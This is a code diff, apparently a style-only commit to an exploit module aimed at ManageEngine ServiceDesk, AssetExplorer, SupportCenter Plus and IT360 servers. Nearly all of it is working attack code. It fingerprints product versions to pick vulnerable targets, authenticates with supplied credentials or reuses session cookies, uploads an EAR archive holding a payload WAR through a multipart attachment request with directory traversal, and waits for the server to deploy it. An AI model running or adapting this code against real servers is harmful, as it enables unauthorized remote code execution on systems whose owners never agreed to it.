@@ -85,64 +85,67 @@ def initialize(info = {})
85
85
86
86
def get_version
87
87
res = send_request_cgi ( {
88
- 'uri' => "/" ,
88
+ 'uri' => '/' ,
89
89
'method' => 'GET'
90
90
} )
91
91
92
92
# Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360)
93
- version = [ 9999 , 9999 , 0 , "sd" ]
93
+ version = [ 9999 , 9999 , 0 , 'sd' ]
94
94
95
95
if res && res . code == 200
96
96
if res . body . to_s =~ /ManageEngine ServiceDesk/
97
97
if res . body . to_s =~ / \| ([0-9]{1}\. {1}[0-9]{1}\. ?[0-9]*)/
98
98
output = $1
99
- version = [ output [ 0 ] . to_i , output [ 2 ] . to_i , "0" , "sd" ]
99
+ version = [ output [ 0 ] . to_i , output [ 2 ] . to_i , '0' , 'sd' ]
100
100
end
101
101
if res . body . to_s =~ /src='\/ scripts\/ Login\. js\? ([0-9]+)'><\/ script>/ # newer builds
102
102
version [ 2 ] = $1. to_i
103
103
elsif res . body . to_s =~ /'\/ style\/ style\. css', '([0-9]+)'\) ;<\/ script>/ # older builds
104
104
version [ 2 ] = $1. to_i
105
105
end
106
106
elsif res . body . to_s =~ /ManageEngine AssetExplorer/
107
- if res . body . to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\. {1}[0-9]{1}\. ?[0-9]*)/ or
108
- res . body . to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\. {1}[0-9]{1}\. ?[0-9]*)<\/ div>/
107
+ if res . body . to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\. {1}[0-9]{1}\. ?[0-9]*)/ ||
108
+ res . body . to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\. {1}[0-9]{1}\. ?[0-9]*)<\/ div>/
109
109
output = $1
110
- version = [ output [ 0 ] . to_i , output [ 2 ] . to_i , 0 , "ae" ]
110
+ version = [ output [ 0 ] . to_i , output [ 2 ] . to_i , 0 , 'ae' ]
111
111
end
112
112
if res . body . to_s =~ /src="\/ scripts\/ ClientLogger\. js\? ([0-9]+)"><\/ script>/
113
113
version [ 2 ] = $1. to_i
114
114
end
115
115
elsif res . body . to_s =~ /ManageEngine SupportCenter Plus/
116
116
# All of the vulnerable sc installations are "old style", so we don't care about the major / minor version
117
- version [ 3 ] = "sc"
117
+ version [ 3 ] = 'sc'
118
118
if res . body . to_s =~ /'\/ style\/ style\. css', '([0-9]+)'\) ;<\/ script>/
119
119
# ... but get the build number if we can find it
120
120
version [ 2 ] = $1. to_i
121
121
end
122
122
elsif res . body . to_s =~ /\/ console\/ ConsoleMain\. cc/
123
123
# IT360 newer versions
124
- version [ 3 ] = "it"
124
+ version [ 3 ] = 'it'
125
125
end
126
126
elsif res && res . code == 302 && res . get_cookies . to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
127
127
# IT360 older versions, not a very good detection string but there is no alternative?
128
- version [ 3 ] = "it"
128
+ version [ 3 ] = 'it'
129
129
end
130
- return version
130
+
131
+ version
131
132
end
132
133
133
134
134
135
def check
135
136
version = get_version
136
- # TODO: put fixed version on the two ifs below once (if...) products are fixed (sd was fixed on build 9031; ae and sc still not fixed)
137
- if ( version [ 0 ] <= 9 && version [ 0 ] > 4 && version [ 2 ] < 9031 && version [ 3 ] == "sd" ) ||
138
- ( version [ 0 ] <= 6 && version [ 2 ] < 99999 && version [ 3 ] == "ae" ) ||
139
- ( version [ 3 ] == "sc" && version [ 2 ] < 99999 )
137
+ # TODO: put fixed version on the two ifs below once (if...) products are fixed
138
+ # sd was fixed on build 9031
139
+ # ae and sc still not fixed
140
+ if ( version [ 0 ] <= 9 && version [ 0 ] > 4 && version [ 2 ] < 9031 && version [ 3 ] == 'sd' ) ||
141
+ ( version [ 0 ] <= 6 && version [ 2 ] < 99999 && version [ 3 ] == 'ae' ) ||
142
+ ( version [ 3 ] == 'sc' && version [ 2 ] < 99999 )
140
143
return Exploit ::CheckCode ::Appears
141
144
end
142
145
143
- if ( version [ 2 ] > 9030 && version [ 3 ] == "sd" ) ||
144
- ( version [ 2 ] > 99999 && version [ 3 ] == "ae" ) ||
145
- ( version [ 2 ] > 99999 && version [ 3 ] == "sc" )
146
+ if ( version [ 2 ] > 9030 && version [ 3 ] == 'sd' ) ||
147
+ ( version [ 2 ] > 99999 && version [ 3 ] == 'ae' ) ||
148
+ ( version [ 2 ] > 99999 && version [ 3 ] == 'sc' )
146
149
return Exploit ::CheckCode ::Safe
147
150
else
148
151
# An IT360 check always lands here, there is no way to get the version easily
@@ -154,15 +157,15 @@ def check
154
157
def authenticate_it360 ( port , path , username , password )
155
158
if datastore [ 'DOMAIN_NAME' ] == nil
156
159
vars_post = {
157
- 'LOGIN_ID' => username ,
158
- 'PASSWORD' => password ,
159
- 'isADEnabled' => " false"
160
+ 'LOGIN_ID' => username ,
161
+ 'PASSWORD' => password ,
162
+ 'isADEnabled' => ' false'
160
163
}
161
164
else
162
165
vars_post = {
163
166
'LOGIN_ID' => username ,
164
167
'PASSWORD' => password ,
165
- 'isADEnabled' => " true" ,
168
+ 'isADEnabled' => ' true' ,
166
169
'domainName' => datastore [ 'DOMAIN_NAME' ]
167
170
}
168
171
end
@@ -174,8 +177,8 @@ def authenticate_it360(port, path, username, password)
174
177
'method' => 'POST' ,
175
178
'uri' => normalize_uri ( path ) ,
176
179
'vars_get' => {
177
- 'service' => " ServiceDesk" ,
178
- 'furl' => "/" ,
180
+ 'service' => ' ServiceDesk' ,
181
+ 'furl' => '/' ,
179
182
'timestamp' => Time . now . to_i
180
183
} ,
181
184
'vars_post' => vars_post
@@ -210,14 +213,14 @@ def login_it360
210
213
# Do we already have a valid cookie? If yes, just return that.
211
214
if datastore [ 'IAMAGENTTICKET' ] != nil
212
215
cookie_name = get_it360_cookie_name
213
- cookie = " IAMAGENTTICKET" + cookie_name + "=" + datastore [ 'IAMAGENTTICKET' ] + ";"
216
+ cookie = ' IAMAGENTTICKET' + cookie_name + '=' + datastore [ 'IAMAGENTTICKET' ] + ';'
214
217
return cookie
215
218
end
216
219
217
220
# get the correct path, host and port
218
221
res = send_request_cgi ( {
219
222
'method' => 'GET' ,
220
- 'uri' => normalize_uri ( "/" ) ,
223
+ 'uri' => normalize_uri ( '/' ) ,
221
224
} )
222
225
223
226
if res && res . redirect?
@@ -242,7 +245,8 @@ def login_it360
242
245
end
243
246
end
244
247
end
245
- return nil
248
+
249
+ nil
246
250
end
247
251
248
252
@@ -254,8 +258,8 @@ def login_it360
254
258
def authenticate ( cookie , username , password )
255
259
res = send_request_cgi! ( {
256
260
'method' => 'POST' ,
257
- 'uri' => normalize_uri ( " /j_security_check;" + cookie . to_s . gsub ( ";" , "" ) ) ,
258
- 'ctype' => " application/x-www-form-urlencoded" ,
261
+ 'uri' => normalize_uri ( ' /j_security_check;' + cookie . to_s . gsub ( ';' , '' ) ) ,
262
+ 'ctype' => ' application/x-www-form-urlencoded' ,
259
263
'cookie' => cookie ,
260
264
'vars_post' => {
261
265
'j_username' => username ,
@@ -267,7 +271,7 @@ def authenticate(cookie, username, password)
267
271
# sd and ae respond with 302 while sc responds with a 200
268
272
res = send_request_cgi ( {
269
273
'method' => 'GET' ,
270
- 'uri' => normalize_uri ( " /HomePage.do" )
274
+ 'uri' => normalize_uri ( ' /HomePage.do' )
271
275
} )
272
276
return true
273
277
else
@@ -279,14 +283,14 @@ def authenticate(cookie, username, password)
279
283
def login
280
284
# Do we already have a valid cookie? If yes, just return that.
281
285
if datastore [ 'JSESSIONID' ] != nil
282
- cookie = " JSESSIONID=" + datastore [ 'JSESSIONID' ] . to_s + ";"
286
+ cookie = ' JSESSIONID=' + datastore [ 'JSESSIONID' ] . to_s + ';'
283
287
return cookie
284
288
end
285
289
286
290
# First we get a valid JSESSIONID to pass to authenticate()
287
291
res = send_request_cgi ( {
288
292
'method' => 'GET' ,
289
- 'uri' => normalize_uri ( "/" )
293
+ 'uri' => normalize_uri ( '/' )
290
294
} )
291
295
if res && res . code == 200
292
296
cookie = res . get_cookies
@@ -307,7 +311,8 @@ def login
307
311
end
308
312
end
309
313
end
310
- return nil
314
+
315
+ nil
311
316
end
312
317
313
318
@@ -322,18 +327,18 @@ def send_multipart_request(cookie, payload_name, payload_str)
322
327
323
328
if @my_target == targets [ 1 ]
324
329
# old style
325
- post_data . add_part ( payload_str , " application/octet-stream" , 'binary' , "form-data; name=\" #{ Rex ::Text . rand_text_alpha ( 4 +rand ( 4 ) ) } \" ; filename=\" #{ payload_name } \" " )
330
+ post_data . add_part ( payload_str , ' application/octet-stream' , 'binary' , "form-data; name=\" #{ Rex ::Text . rand_text_alpha ( 4 +rand ( 4 ) ) } \" ; filename=\" #{ payload_name } \" " )
326
331
post_data . add_part ( payload_name , nil , nil , "form-data; name=\" filename\" " )
327
- post_data . add_part ( "" , nil , nil , "form-data; name=\" vecPath\" " )
328
- post_data . add_part ( "" , nil , nil , "form-data; name=\" vec\" " )
329
- post_data . add_part ( " AttachFile" , nil , nil , "form-data; name=\" theSubmit\" " )
330
- post_data . add_part ( " WorkOrderForm" , nil , nil , "form-data; name=\" formName\" " )
332
+ post_data . add_part ( '' , nil , nil , "form-data; name=\" vecPath\" " )
333
+ post_data . add_part ( '' , nil , nil , "form-data; name=\" vec\" " )
334
+ post_data . add_part ( ' AttachFile' , nil , nil , "form-data; name=\" theSubmit\" " )
335
+ post_data . add_part ( ' WorkOrderForm' , nil , nil , "form-data; name=\" formName\" " )
331
336
post_data . add_part ( upload_path , nil , nil , "form-data; name=\" component\" " )
332
- post_data . add_part ( " Attach" , nil , nil , "form-data; name=\" ATTACH\" " )
337
+ post_data . add_part ( ' Attach' , nil , nil , "form-data; name=\" ATTACH\" " )
333
338
else
334
339
post_data . add_part ( upload_path , nil , nil , "form-data; name=\" module\" " )
335
- post_data . add_part ( payload_str , " application/octet-stream" , 'binary' , "form-data; name=\" #{ Rex ::Text . rand_text_alpha ( 4 +rand ( 4 ) ) } \" ; filename=\" #{ payload_name } \" " )
336
- post_data . add_part ( "" , nil , nil , "form-data; name=\" att_desc\" " )
340
+ post_data . add_part ( payload_str , ' application/octet-stream' , 'binary' , "form-data; name=\" #{ Rex ::Text . rand_text_alpha ( 4 +rand ( 4 ) ) } \" ; filename=\" #{ payload_name } \" " )
341
+ post_data . add_part ( '' , nil , nil , "form-data; name=\" att_desc\" " )
337
342
end
338
343
339
344
data = post_data . to_s
@@ -352,12 +357,12 @@ def pick_target
352
357
return target if target . name != 'Automatic'
353
358
354
359
version = get_version
355
- if ( version [ 0 ] <= 7 && version [ 2 ] < 7016 && version [ 3 ] == "sd" ) ||
356
- ( version [ 0 ] == 4 && version [ 3 ] == "ae" ) ||
357
- ( version [ 3 ] == "sc" )
360
+ if ( version [ 0 ] <= 7 && version [ 2 ] < 7016 && version [ 3 ] == 'sd' ) ||
361
+ ( version [ 0 ] == 4 && version [ 3 ] == 'ae' ) ||
362
+ ( version [ 3 ] == 'sc' )
358
363
# These are all "old style" versions (sc is always old style)
359
364
return targets [ 1 ]
360
- elsif version [ 3 ] == "it"
365
+ elsif version [ 3 ] == 'it'
361
366
return targets [ 3 ]
362
367
else
363
368
return targets [ 2 ]
@@ -389,9 +394,9 @@ def exploit
389
394
# Zipping with CM_STORE to avoid errors while decompressing the zip
390
395
# in the Java vulnerable application
391
396
ear_file = Rex ::Zip ::Archive . new ( Rex ::Zip ::CM_STORE )
392
- ear_file . add_file ( war_app_base + " .war" , war_payload . to_s )
393
- ear_file . add_file ( " META-INF/application.xml" , app_xml )
394
- ear_file_name = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) + " .ear"
397
+ ear_file . add_file ( war_app_base + ' .war' , war_payload . to_s )
398
+ ear_file . add_file ( ' META-INF/application.xml' , app_xml )
399
+ ear_file_name = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) + ' .ear'
395
400
396
401
if @my_target != targets [ 3 ]
397
402
# Linux doesn't like it when we traverse non existing directories,
@@ -409,7 +414,7 @@ def exploit
409
414
res = send_multipart_request ( cookie , ear_file_name , ear_file . pack )
410
415
if res && res . code == 200
411
416
print_status ( "#{ peer } - Upload appears to have been successful, waiting " + datastore [ 'SLEEP' ] . to_s +
412
- " seconds for deployment" )
417
+ ' seconds for deployment' )
413
418
sleep ( datastore [ 'SLEEP' ] )
414
419
else
415
420
fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - EAR upload failed" )
0 commit comments